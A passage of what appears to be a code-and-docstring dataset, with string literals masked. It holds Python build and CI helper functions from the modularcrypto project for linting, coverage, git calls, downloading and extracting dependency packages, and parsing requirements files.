{"signature": "def run():", "body": "print('<STR_LIT>' % flake8.__version__)<EOL>flake8_style = get_style_guide(config_file=os.path.join(package_root, '<STR_LIT>'))<EOL>paths = []<EOL>for _dir in [package_name, '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>for root, _, filenames in os.walk(_dir):<EOL><INDENT>for filename in filenames:<EOL><INDENT>if not filename.endswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>paths.append(os.path.join(root, filename))<EOL><DEDENT><DEDENT><DEDENT>report = flake8_style.check_files(paths)<EOL>success = report.total_errors == <NUM_LIT:0><EOL>if success:<EOL><INDENT>print('<STR_LIT:OK>')<EOL><DEDENT>return success<EOL>", "docstring": "Runs flake8 lint\n\n:return:\n    A bool - if flake8 did not find any errors", "id": "f9467:m0"}
{"signature": "def run(ci=False):", "body": "xml_report_path = os.path.join(package_root, '<STR_LIT>')<EOL>if os.path.exists(xml_report_path):<EOL><INDENT>os.unlink(xml_report_path)<EOL><DEDENT>cov = coverage.Coverage(include='<STR_LIT>' % package_name)<EOL>cov.start()<EOL>from .tests import run as run_tests<EOL>result = run_tests()<EOL>print()<EOL>if ci:<EOL><INDENT>suite = unittest.TestSuite()<EOL>loader = unittest.TestLoader()<EOL>for other_package in other_packages:<EOL><INDENT>for test_class in _load_package_tests(other_package):<EOL><INDENT>suite.addTest(loader.loadTestsFromTestCase(test_class))<EOL><DEDENT><DEDENT>if suite.countTestCases() > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>')<EOL>sys.stdout.flush()<EOL>runner_result = unittest.TextTestRunner(stream=sys.stdout, verbosity=<NUM_LIT:1>).run(suite)<EOL>result = runner_result.wasSuccessful() and result<EOL>print()<EOL>sys.stdout.flush()<EOL><DEDENT><DEDENT>cov.stop()<EOL>cov.save()<EOL>cov.report(show_missing=False)<EOL>print()<EOL>sys.stdout.flush()<EOL>if ci:<EOL><INDENT>cov.xml_report()<EOL><DEDENT>if ci and result and os.path.exists(xml_report_path):<EOL><INDENT>_codecov_submit()<EOL>print()<EOL><DEDENT>return result<EOL>", "docstring": "Runs the tests while measuring coverage\n\n:param ci:\n    If coverage is being run in a CI environment - this triggers trying to\n    run the tests for the rest of modularcrypto and uploading coverage data\n\n:return:\n    A bool - if the tests ran successfully", "id": "f9468:m0"}
{"signature": "def _git_command(params, cwd):", "body": "proc = subprocess.Popen(<EOL>['<STR_LIT>'] + params,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.STDOUT,<EOL>cwd=cwd<EOL>)<EOL>stdout, stderr = proc.communicate()<EOL>code = proc.wait()<EOL>if code != <NUM_LIT:0>:<EOL><INDENT>e = OSError('<STR_LIT>')<EOL>e.stdout = stdout<EOL>raise e<EOL><DEDENT>return stdout.decode('<STR_LIT:utf-8>').strip()<EOL>", "docstring": "Executes a git command, returning the output\n\n:param params:\n    A list of the parameters to pass to git\n\n:param cwd:\n    The working directory to execute git in\n\n:return:\n    A 2-element tuple of (stdout, stderr)", "id": "f9468:m3"}
{"signature": "def _parse_env_var_file(data):", "body": "output = {}<EOL>for line in data.splitlines():<EOL><INDENT>line = line.strip()<EOL>if not line or '<STR_LIT:=>' not in line:<EOL><INDENT>continue<EOL><DEDENT>parts = line.split('<STR_LIT:=>')<EOL>if len(parts) != <NUM_LIT:2>:<EOL><INDENT>continue<EOL><DEDENT>name = parts[<NUM_LIT:0>]<EOL>value = parts[<NUM_LIT:1>]<EOL>if len(value) > <NUM_LIT:1>:<EOL><INDENT>if value[<NUM_LIT:0>] == '<STR_LIT:\">' and value[-<NUM_LIT:1>] == '<STR_LIT:\">':<EOL><INDENT>value = value[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>output[name] = value<EOL><DEDENT>return output<EOL>", "docstring": "Parses a basic VAR=\"value data\" file contents into a dict\n\n:param data:\n    A unicode string of the file data\n\n:return:\n    A dict of parsed name/value data", "id": "f9468:m4"}
{"signature": "def _platform_name():", "body": "if sys.platform == '<STR_LIT>':<EOL><INDENT>version = _plat.mac_ver()[<NUM_LIT:0>]<EOL>_plat_ver_info = tuple(map(int, version.split('<STR_LIT:.>')))<EOL>if _plat_ver_info < (<NUM_LIT:10>, <NUM_LIT:12>):<EOL><INDENT>name = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>name = '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>' % (name, version)<EOL><DEDENT>elif sys.platform == '<STR_LIT:win32>':<EOL><INDENT>_win_ver = sys.getwindowsversion()<EOL>_plat_ver_info = (_win_ver[<NUM_LIT:0>], _win_ver[<NUM_LIT:1>])<EOL>return '<STR_LIT>' % _plat.win32_ver()[<NUM_LIT:0>]<EOL><DEDENT>elif sys.platform in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if os.path.exists('<STR_LIT>'):<EOL><INDENT>with open('<STR_LIT>', '<STR_LIT:r>', encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>pairs = _parse_env_var_file(f.read())<EOL>if '<STR_LIT>' in pairs and '<STR_LIT>' in pairs:<EOL><INDENT>return '<STR_LIT>' % (pairs['<STR_LIT>'], pairs['<STR_LIT>'])<EOL>version = pairs['<STR_LIT>']<EOL><DEDENT>elif '<STR_LIT>' in pairs:<EOL><INDENT>return pairs['<STR_LIT>']<EOL><DEDENT>elif '<STR_LIT>' in pairs:<EOL><INDENT>return pairs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>elif os.path.exists('<STR_LIT>'):<EOL><INDENT>with open('<STR_LIT>', '<STR_LIT:r>', encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>pairs = _parse_env_var_file(f.read())<EOL>if '<STR_LIT>' in pairs:<EOL><INDENT>return pairs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return '<STR_LIT>' % (_plat.system(), _plat.release())<EOL><DEDENT>", "docstring": "Returns information about the current operating system and version\n\n:return:\n    A unicode string containing the OS name and version", "id": "f9468:m5"}
{"signature": "def _list_files(root):", "body": "dir_patterns, file_patterns = _gitignore(root)<EOL>paths = []<EOL>prefix = os.path.abspath(root) + os.sep<EOL>for base, dirs, files in os.walk(root):<EOL><INDENT>for d in dirs:<EOL><INDENT>for dir_pattern in dir_patterns:<EOL><INDENT>if fnmatch(d, dir_pattern):<EOL><INDENT>dirs.remove(d)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>for f in files:<EOL><INDENT>skip = False<EOL>for file_pattern in file_patterns:<EOL><INDENT>if fnmatch(f, file_pattern):<EOL><INDENT>skip = True<EOL>break<EOL><DEDENT><DEDENT>if skip:<EOL><INDENT>continue<EOL><DEDENT>full_path = os.path.join(base, f)<EOL>if full_path[:len(prefix)] == prefix:<EOL><INDENT>full_path = full_path[len(prefix):]<EOL><DEDENT>paths.append(full_path)<EOL><DEDENT><DEDENT>return sorted(paths)<EOL>", "docstring": "Lists all of the files in a directory, taking into account any .gitignore\nfile that is present\n\n:param root:\n    A unicode filesystem path\n\n:return:\n    A list of unicode strings, containing paths of all files not ignored\n    by .gitignore with root, using relative paths", "id": "f9468:m6"}
{"signature": "def _gitignore(root):", "body": "gitignore_path = os.path.join(root, '<STR_LIT>')<EOL>dir_patterns = ['<STR_LIT>']<EOL>file_patterns = []<EOL>if not os.path.exists(gitignore_path):<EOL><INDENT>return (dir_patterns, file_patterns)<EOL><DEDENT>with open(gitignore_path, '<STR_LIT:r>', encoding='<STR_LIT:utf-8>') as f:<EOL><INDENT>for line in f.readlines():<EOL><INDENT>line = line.strip()<EOL>if not line:<EOL><INDENT>continue<EOL><DEDENT>if line.startswith('<STR_LIT:#>'):<EOL><INDENT>continue<EOL><DEDENT>if '<STR_LIT>' in line:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>if line.startswith('<STR_LIT:!>'):<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>if line.startswith('<STR_LIT:/>'):<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>line = '<STR_LIT:#>' + line[<NUM_LIT:2>:]<EOL><DEDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>line = '<STR_LIT:!>' + line[<NUM_LIT:2>:]<EOL><DEDENT>if line.endswith('<STR_LIT:/>'):<EOL><INDENT>dir_patterns.append(line[:-<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>file_patterns.append(line)<EOL><DEDENT><DEDENT><DEDENT>return (dir_patterns, file_patterns)<EOL>", "docstring": "Parses a .gitignore file and returns patterns to match dirs and files.\nOnly basic gitignore patterns are supported. Pattern negation, ** wildcards\nand anchored patterns are not currently implemented.\n\n:param root:\n    A unicode string of the path to the git repository\n\n:return:\n    A 2-element tuple:\n     - 0: a list of unicode strings to match against dirs\n     - 1: a list of unicode strings to match against dirs and files", "id": "f9468:m7"}
{"signature": "def _do_request(method, url, headers, data=None, query_params=None, timeout=<NUM_LIT:20>):", "body": "if query_params:<EOL><INDENT>url += '<STR_LIT:?>' + urlencode(query_params).replace('<STR_LIT:+>', '<STR_LIT>')<EOL><DEDENT>if isinstance(data, dict):<EOL><INDENT>data_bytes = {}<EOL>for key in data:<EOL><INDENT>data_bytes[key.encode('<STR_LIT:utf-8>')] = data[key].encode('<STR_LIT:utf-8>')<EOL><DEDENT>data = urlencode(data_bytes)<EOL>headers['<STR_LIT:Content-Type>'] = '<STR_LIT>'<EOL><DEDENT>if isinstance(data, str_cls):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>tempfd, tempf_path = tempfile.mkstemp('<STR_LIT>')<EOL>os.write(tempfd, data or b'<STR_LIT>')<EOL>os.close(tempfd)<EOL>if sys.platform == '<STR_LIT:win32>':<EOL><INDENT>powershell_exe = os.path.join('<STR_LIT>')<EOL>code = \"<STR_LIT>\"<EOL>code += \"<STR_LIT>\"<EOL>for key in headers:<EOL><INDENT>code += \"<STR_LIT>\" % (key, headers[key])<EOL><DEDENT>code += \"<STR_LIT>\" % (url, method, tempf_path)<EOL>code += \"<STR_LIT>\"<EOL>code += \"<STR_LIT>\"<EOL>stdout, stderr = _execute([powershell_exe, '<STR_LIT>', code], os.getcwd())<EOL>if stdout[-<NUM_LIT:2>:] == b'<STR_LIT:\\r\\n>' and b'<STR_LIT>' in stdout:<EOL><INDENT>stdout = stdout[<NUM_LIT:0>:-<NUM_LIT:2>]<EOL>parts = stdout.split(b'<STR_LIT>', <NUM_LIT:1>)<EOL>if len(parts) == <NUM_LIT:2>:<EOL><INDENT>stdout = parts[<NUM_LIT:0>] + b'<STR_LIT>' + codecs.decode(parts[<NUM_LIT:1>].replace(b'<STR_LIT:->', b'<STR_LIT>'), '<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>method,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'<EOL>]<EOL>for key in headers:<EOL><INDENT>args.append('<STR_LIT>')<EOL>args.append(\"<STR_LIT>\" % (key, headers[key]))<EOL><DEDENT>args.append('<STR_LIT>')<EOL>args.append('<STR_LIT>' % tempf_path)<EOL>args.append(url)<EOL>stdout, stderr = _execute(args, os.getcwd())<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if tempf_path and os.path.exists(tempf_path):<EOL><INDENT>os.remove(tempf_path)<EOL><DEDENT><DEDENT>if len(stderr) > <NUM_LIT:0>:<EOL><INDENT>raise URLError(\"<STR_LIT>\" % (method, url, stderr))<EOL><DEDENT>parts = stdout.split(b'<STR_LIT>', <NUM_LIT:1>)<EOL>if len(parts) != <NUM_LIT:2>:<EOL><INDENT>raise URLError(\"<STR_LIT>\" % (method, url, stdout))<EOL><DEDENT>header_block, body = parts<EOL>content_type_header = None<EOL>content_len_header = None<EOL>for hline in header_block.decode('<STR_LIT>').splitlines():<EOL><INDENT>hline_parts = hline.split('<STR_LIT::>', <NUM_LIT:1>)<EOL>if len(hline_parts) != <NUM_LIT:2>:<EOL><INDENT>continue<EOL><DEDENT>name, val = hline_parts<EOL>name = name.strip().lower()<EOL>val = val.strip()<EOL>if name == '<STR_LIT>':<EOL><INDENT>content_type_header = val<EOL><DEDENT>if name == '<STR_LIT>':<EOL><INDENT>content_len_header = val<EOL><DEDENT><DEDENT>if content_type_header is None and content_len_header != '<STR_LIT:0>':<EOL><INDENT>raise URLError(\"<STR_LIT>\" % (method, url, stdout))<EOL><DEDENT>if content_type_header is None:<EOL><INDENT>content_type = '<STR_LIT>'<EOL>encoding = '<STR_LIT:utf-8>'<EOL><DEDENT>else:<EOL><INDENT>content_type, params = cgi.parse_header(content_type_header)<EOL>encoding = params.get('<STR_LIT>')<EOL><DEDENT>return (content_type, encoding, body)<EOL>", "docstring": "Performs an HTTP request\n\n:param method:\n    A unicode string of 'POST' or 'PUT'\n\n:param url;\n    A unicode string of the URL to request\n\n:param headers:\n    A dict of unicode strings, where keys are header names and values are\n    the header values.\n\n:param data:\n    A dict of unicode strings (to be encoded as\n    application/x-www-form-urlencoded), or a byte string of data.\n\n:param query_params:\n    A dict of unicode keys and values to pass as query params\n\n:param timeout:\n    An integer number of seconds to use as the timeout\n\n:return:\n    A 3-element tuple:\n     - 0: A unicode string of the response content-type\n     - 1: A unicode string of the response encoding, or None\n     - 2: A byte string of the response body", "id": "f9468:m8"}
{"signature": "def _execute(params, cwd):", "body": "proc = subprocess.Popen(<EOL>params,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE,<EOL>cwd=cwd<EOL>)<EOL>stdout, stderr = proc.communicate()<EOL>code = proc.wait()<EOL>if code != <NUM_LIT:0>:<EOL><INDENT>e = OSError('<STR_LIT>' % (params, code, stderr))<EOL>e.stdout = stdout<EOL>e.stderr = stderr<EOL>raise e<EOL><DEDENT>return (stdout, stderr)<EOL>", "docstring": "Executes a subprocess\n\n:param params:\n    A list of the executable and arguments to pass to it\n\n:param cwd:\n    The working directory to execute the command in\n\n:return:\n    A 2-element tuple of (stdout, stderr)", "id": "f9468:m9"}
{"signature": "def run():", "body": "print('<STR_LIT>' + sys.version.replace('<STR_LIT:\\n>', '<STR_LIT>'))<EOL>try:<EOL><INDENT>oscrypto_tests_module_info = imp.find_module('<STR_LIT>', [os.path.join(build_root, '<STR_LIT>')])<EOL>oscrypto_tests = imp.load_module('<STR_LIT>', *oscrypto_tests_module_info)<EOL>oscrypto = oscrypto_tests.local_oscrypto()<EOL>print('<STR_LIT>' % oscrypto.backend())<EOL><DEDENT>except (ImportError):<EOL><INDENT>pass<EOL><DEDENT>if run_lint:<EOL><INDENT>print('<STR_LIT>')<EOL>lint_result = run_lint()<EOL><DEDENT>else:<EOL><INDENT>lint_result = True<EOL><DEDENT>if run_coverage:<EOL><INDENT>print('<STR_LIT>')<EOL>sys.stdout.flush()<EOL>tests_result = run_coverage(ci=True)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL>sys.stdout.flush()<EOL>tests_result = run_tests()<EOL><DEDENT>sys.stdout.flush()<EOL>return lint_result and tests_result<EOL>", "docstring": "Runs the linter and tests\n\n:return:\n    A bool - if the linter and tests ran successfully", "id": "f9470:m0"}
{"signature": "def run():", "body": "deps_dir = os.path.join(build_root, '<STR_LIT>')<EOL>if os.path.exists(deps_dir):<EOL><INDENT>shutil.rmtree(deps_dir, ignore_errors=True)<EOL><DEDENT>os.mkdir(deps_dir)<EOL>try:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>_stage_requirements(deps_dir, os.path.join(package_root, '<STR_LIT>', '<STR_LIT>'))<EOL>print(\"<STR_LIT>\")<EOL>for other_package in other_packages:<EOL><INDENT>pkg_url = '<STR_LIT>' % other_package<EOL>pkg_dir = os.path.join(build_root, other_package)<EOL>if os.path.exists(pkg_dir):<EOL><INDENT>print(\"<STR_LIT>\" % other_package)<EOL>continue<EOL><DEDENT>print(\"<STR_LIT>\" % pkg_url)<EOL>_execute(['<STR_LIT>', '<STR_LIT>', pkg_url], build_root)<EOL><DEDENT>print()<EOL><DEDENT>except (Exception):<EOL><INDENT>if os.path.exists(deps_dir):<EOL><INDENT>shutil.rmtree(deps_dir, ignore_errors=True)<EOL><DEDENT>raise<EOL><DEDENT>return True<EOL>", "docstring": "Installs required development dependencies. Uses git to checkout other\nmodularcrypto repos for more accurate coverage data.", "id": "f9471:m0"}
{"signature": "def _download(url, dest):", "body": "print('<STR_LIT>' % url)<EOL>filename = os.path.basename(url)<EOL>dest_path = os.path.join(dest, filename)<EOL>if sys.platform == '<STR_LIT:win32>':<EOL><INDENT>powershell_exe = os.path.join('<STR_LIT>')<EOL>code = \"<STR_LIT>\"<EOL>code += \"<STR_LIT>\" % (url, dest_path)<EOL>_execute([powershell_exe, '<STR_LIT>', code], dest)<EOL><DEDENT>else:<EOL><INDENT>_execute(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', url], dest)<EOL><DEDENT>return dest_path<EOL>", "docstring": "Downloads a URL to a directory\n\n:param url:\n    The URL to download\n\n:param dest:\n    The path to the directory to save the file in\n\n:return:\n    The filesystem path to the saved file", "id": "f9471:m1"}
{"signature": "def _tuple_from_ver(version_string):", "body": "return tuple(map(int, version_string.split('<STR_LIT:.>')))<EOL>", "docstring": ":param version_string:\n    A unicode dotted version string\n\n:return:\n    A tuple of integers", "id": "f9471:m2"}
{"signature": "def _open_archive(path):", "body": "if path.endswith('<STR_LIT>'):<EOL><INDENT>return zipfile.ZipFile(path, '<STR_LIT:r>')<EOL><DEDENT>return tarfile.open(path, '<STR_LIT:r>')<EOL>", "docstring": ":param path:\n    A unicode string of the filesystem path to the archive\n\n:return:\n    An archive object", "id": "f9471:m3"}
{"signature": "def _list_archive_members(archive):", "body": "if isinstance(archive, zipfile.ZipFile):<EOL><INDENT>return archive.infolist()<EOL><DEDENT>return archive.getmembers()<EOL>", "docstring": ":param archive:\n    An archive from _open_archive()\n\n:return:\n    A list of info objects to be used with _info_name() and _extract_info()", "id": "f9471:m4"}
{"signature": "def _archive_single_dir(archive):", "body": "common_root = None<EOL>for info in _list_archive_members(archive):<EOL><INDENT>fn = _info_name(info)<EOL>if fn in set(['<STR_LIT:.>', '<STR_LIT:/>']):<EOL><INDENT>continue<EOL><DEDENT>sep = None<EOL>if '<STR_LIT:/>' in fn:<EOL><INDENT>sep = '<STR_LIT:/>'<EOL><DEDENT>elif '<STR_LIT:\\\\>' in fn:<EOL><INDENT>sep = '<STR_LIT:\\\\>'<EOL><DEDENT>if sep is None:<EOL><INDENT>root_dir = fn<EOL><DEDENT>else:<EOL><INDENT>root_dir, _ = fn.split(sep, <NUM_LIT:1>)<EOL><DEDENT>if common_root is None:<EOL><INDENT>common_root = root_dir<EOL><DEDENT>else:<EOL><INDENT>if common_root != root_dir:<EOL><INDENT>return None<EOL><DEDENT><DEDENT><DEDENT>return common_root<EOL>", "docstring": "Check if all members of the archive are in a single top-level directory\n\n:param archive:\n    An archive from _open_archive()\n\n:return:\n    None if not a single top level directory in archive, otherwise a\n    unicode string of the top level directory name", "id": "f9471:m5"}
{"signature": "def _info_name(info):", "body": "if isinstance(info, zipfile.ZipInfo):<EOL><INDENT>return info.filename.replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL><DEDENT>return info.name.replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL>", "docstring": "Returns a normalized file path for an archive info object\n\n:param info:\n    An info object from _list_archive_members()\n\n:return:\n    A unicode string with all directory separators normalized to \"/\"", "id": "f9471:m6"}
{"signature": "def _extract_info(archive, info):", "body": "if isinstance(archive, zipfile.ZipFile):<EOL><INDENT>fn = info.filename<EOL>is_dir = fn.endswith('<STR_LIT:/>') or fn.endswith('<STR_LIT:\\\\>')<EOL>out = archive.read(info)<EOL>if is_dir and out == b'<STR_LIT>':<EOL><INDENT>return None<EOL><DEDENT>return out<EOL><DEDENT>info_file = archive.extractfile(info)<EOL>if info_file:<EOL><INDENT>return info_file.read()<EOL><DEDENT>return None<EOL>", "docstring": "Extracts the contents of an archive info object\n\n;param archive:\n    An archive from _open_archive()\n\n:param info:\n    An info object from _list_archive_members()\n\n:return:\n    None, or a byte string of the file contents", "id": "f9471:m7"}
{"signature": "def _extract_package(deps_dir, pkg_path):", "body": "if pkg_path.endswith('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>zf = None<EOL>zf = zipfile.ZipFile(pkg_path, '<STR_LIT:r>')<EOL>for zi in zf.infolist():<EOL><INDENT>if not zi.filename.startswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>data = _extract_info(zf, zi)<EOL>if data is not None:<EOL><INDENT>dst_path = os.path.join(deps_dir, zi.filename[<NUM_LIT:8>:])<EOL>dst_dir = os.path.dirname(dst_path)<EOL>if not os.path.exists(dst_dir):<EOL><INDENT>os.makedirs(dst_dir)<EOL><DEDENT>with open(dst_path, '<STR_LIT:wb>') as f:<EOL><INDENT>f.write(data)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>if zf:<EOL><INDENT>zf.close()<EOL><DEDENT><DEDENT>return<EOL><DEDENT>if pkg_path.endswith('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>zf = None<EOL>zf = zipfile.ZipFile(pkg_path, '<STR_LIT:r>')<EOL>zf.extractall(deps_dir)<EOL><DEDENT>finally:<EOL><INDENT>if zf:<EOL><INDENT>zf.close()<EOL><DEDENT><DEDENT>return<EOL><DEDENT>try:<EOL><INDENT>ar = None<EOL>ar = _open_archive(pkg_path)<EOL>pkg_name = None<EOL>base_path = _archive_single_dir(ar) or '<STR_LIT>'<EOL>if len(base_path):<EOL><INDENT>if '<STR_LIT:->' in base_path:<EOL><INDENT>pkg_name, _ = base_path.split('<STR_LIT:->', <NUM_LIT:1>)<EOL><DEDENT>base_path += '<STR_LIT:/>'<EOL><DEDENT>base_pkg_path = None<EOL>if pkg_name is not None:<EOL><INDENT>base_pkg_path = base_path + pkg_name + '<STR_LIT:/>'<EOL><DEDENT>src_path = base_path + '<STR_LIT>'<EOL>members = []<EOL>for info in _list_archive_members(ar):<EOL><INDENT>fn = _info_name(info)<EOL>if base_pkg_path is not None and fn.startswith(base_pkg_path):<EOL><INDENT>dst_path = fn[len(base_pkg_path) - len(pkg_name) - <NUM_LIT:1>:]<EOL>members.append((info, dst_path))<EOL>continue<EOL><DEDENT>if fn.startswith(src_path):<EOL><INDENT>members.append((info, fn[len(src_path):]))<EOL>continue<EOL><DEDENT><DEDENT>for info, path in members:<EOL><INDENT>info_data = _extract_info(ar, info)<EOL>if info_data is not None:<EOL><INDENT>dst_path = os.path.join(deps_dir, path)<EOL>dst_dir = os.path.dirname(dst_path)<EOL>if not os.path.exists(dst_dir):<EOL><INDENT>os.makedirs(dst_dir)<EOL><DEDENT>with open(dst_path, '<STR_LIT:wb>') as f:<EOL><INDENT>f.write(info_data)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>if ar:<EOL><INDENT>ar.close()<EOL><DEDENT><DEDENT>", "docstring": "Extract a .whl, .zip, .tar.gz or .tar.bz2 into a package path to\nuse when running CI tasks\n\n:param deps_dir:\n    A unicode string of the directory the package should be extracted to\n\n:param pkg_path:\n    A unicode string of the path to the archive", "id": "f9471:m8"}
{"signature": "def _stage_requirements(deps_dir, path):", "body": "valid_tags = _pep425tags()<EOL>exe_suffix = None<EOL>if sys.platform == '<STR_LIT:win32>' and _pep425_implementation() == '<STR_LIT>':<EOL><INDENT>win_arch = '<STR_LIT:win32>' if sys.maxsize == <NUM_LIT> else '<STR_LIT>'<EOL>version_info = sys.version_info<EOL>exe_suffix = '<STR_LIT>' % (win_arch, version_info[<NUM_LIT:0>], version_info[<NUM_LIT:1>])<EOL><DEDENT>packages = _parse_requires(path)<EOL>for p in packages:<EOL><INDENT>pkg = p['<STR_LIT>']<EOL>if p['<STR_LIT:type>'] == '<STR_LIT:url>':<EOL><INDENT>if pkg.endswith('<STR_LIT>') or pkg.endswith('<STR_LIT>') or pkg.endswith('<STR_LIT>') or pkg.endswith('<STR_LIT>'):<EOL><INDENT>url = pkg<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pypi_json_url = '<STR_LIT>' % pkg<EOL>json_dest = _download(pypi_json_url, deps_dir)<EOL>with open(json_dest, '<STR_LIT:rb>') as f:<EOL><INDENT>pkg_info = json.loads(f.read().decode('<STR_LIT:utf-8>'))<EOL><DEDENT>if os.path.exists(json_dest):<EOL><INDENT>os.remove(json_dest)<EOL><DEDENT>latest = pkg_info['<STR_LIT:info>']['<STR_LIT:version>']<EOL>if p['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>if _tuple_from_ver(p['<STR_LIT>']) > _tuple_from_ver(latest):<EOL><INDENT>raise Exception('<STR_LIT>' % (p['<STR_LIT>'], pkg, latest))<EOL><DEDENT>version = latest<EOL><DEDENT>elif p['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>if p['<STR_LIT>'] not in pkg_info['<STR_LIT>']:<EOL><INDENT>raise Exception('<STR_LIT>' % (p['<STR_LIT>'], pkg))<EOL><DEDENT>version = p['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>version = latest<EOL><DEDENT>wheels = {}<EOL>whl = None<EOL>tar_bz2 = None<EOL>tar_gz = None<EOL>exe = None<EOL>for download in pkg_info['<STR_LIT>'][version]:<EOL><INDENT>if exe_suffix and download['<STR_LIT:url>'].endswith(exe_suffix):<EOL><INDENT>exe = download['<STR_LIT:url>']<EOL><DEDENT>if download['<STR_LIT:url>'].endswith('<STR_LIT>'):<EOL><INDENT>parts = os.path.basename(download['<STR_LIT:url>']).split('<STR_LIT:->')<EOL>tag_impl = parts[-<NUM_LIT:3>]<EOL>tag_abi = parts[-<NUM_LIT:2>]<EOL>tag_arch = parts[-<NUM_LIT:1>].split('<STR_LIT:.>')[<NUM_LIT:0>]<EOL>wheels[(tag_impl, tag_abi, tag_arch)] = download['<STR_LIT:url>']<EOL><DEDENT>if download['<STR_LIT:url>'].endswith('<STR_LIT>'):<EOL><INDENT>tar_bz2 = download['<STR_LIT:url>']<EOL><DEDENT>if download['<STR_LIT:url>'].endswith('<STR_LIT>'):<EOL><INDENT>tar_gz = download['<STR_LIT:url>']<EOL><DEDENT><DEDENT>for tag in valid_tags:<EOL><INDENT>if tag in wheels:<EOL><INDENT>whl = wheels[tag]<EOL>break<EOL><DEDENT><DEDENT>if exe_suffix and exe:<EOL><INDENT>url = exe<EOL><DEDENT>elif whl:<EOL><INDENT>url = whl<EOL><DEDENT>elif tar_bz2:<EOL><INDENT>url = tar_bz2<EOL><DEDENT>elif tar_gz:<EOL><INDENT>url = tar_gz<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' % pkg)<EOL><DEDENT><DEDENT>local_path = _download(url, deps_dir)<EOL>_extract_package(deps_dir, local_path)<EOL>os.remove(local_path)<EOL><DEDENT>", "docstring": "Installs requirements without using Python to download, since\ndifferent services are limiting to TLS 1.2, and older version of\nPython do not support that\n\n:param deps_dir:\n    A unicode path to a temporary diretory to use for downloads\n\n:param path:\n    A unicoe filesystem path to a requirements file", "id": "f9471:m9"}
{"signature": "def _parse_requires(path):", "body": "python_version = '<STR_LIT:.>'.join(map(str_cls, sys.version_info[<NUM_LIT:0>:<NUM_LIT:2>]))<EOL>sys_platform = sys.platform<EOL>packages = []<EOL>with open(path, '<STR_LIT:rb>') as f:<EOL><INDENT>contents = f.read().decode('<STR_LIT:utf-8>')<EOL><DEDENT>for line in re.split(r'<STR_LIT>', contents):<EOL><INDENT>line = line.strip()<EOL>if not len(line):<EOL><INDENT>continue<EOL><DEDENT>if re.match(r'<STR_LIT>', line):<EOL><INDENT>continue<EOL><DEDENT>if '<STR_LIT:;>' in line:<EOL><INDENT>package, cond = line.split('<STR_LIT:;>', <NUM_LIT:1>)<EOL>package = package.strip()<EOL>cond = cond.strip()<EOL>cond = cond.replace('<STR_LIT>', repr(sys_platform))<EOL>cond = cond.replace('<STR_LIT>', repr(python_version))<EOL>if not eval(cond):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>else:<EOL><INDENT>package = line.strip()<EOL><DEDENT>if re.match(r'<STR_LIT>', package):<EOL><INDENT>sub_req_file = re.sub(r'<STR_LIT>', '<STR_LIT>', package)<EOL>sub_req_file = os.path.abspath(os.path.join(os.path.dirname(path), sub_req_file))<EOL>packages.extend(_parse_requires(sub_req_file))<EOL>continue<EOL><DEDENT>if re.match(r'<STR_LIT>', package):<EOL><INDENT>packages.append({'<STR_LIT:type>': '<STR_LIT:url>', '<STR_LIT>': package})<EOL>continue<EOL><DEDENT>if '<STR_LIT>' in package:<EOL><INDENT>parts = package.split('<STR_LIT>')<EOL>package = parts[<NUM_LIT:0>].strip()<EOL>ver = parts[<NUM_LIT:1>].strip()<EOL>packages.append({'<STR_LIT:type>': '<STR_LIT>', '<STR_LIT>': package, '<STR_LIT>': ver})<EOL>continue<EOL><DEDENT>if '<STR_LIT>' in package:<EOL><INDENT>parts = package.split('<STR_LIT>')<EOL>package = parts[<NUM_LIT:0>].strip()<EOL>ver = 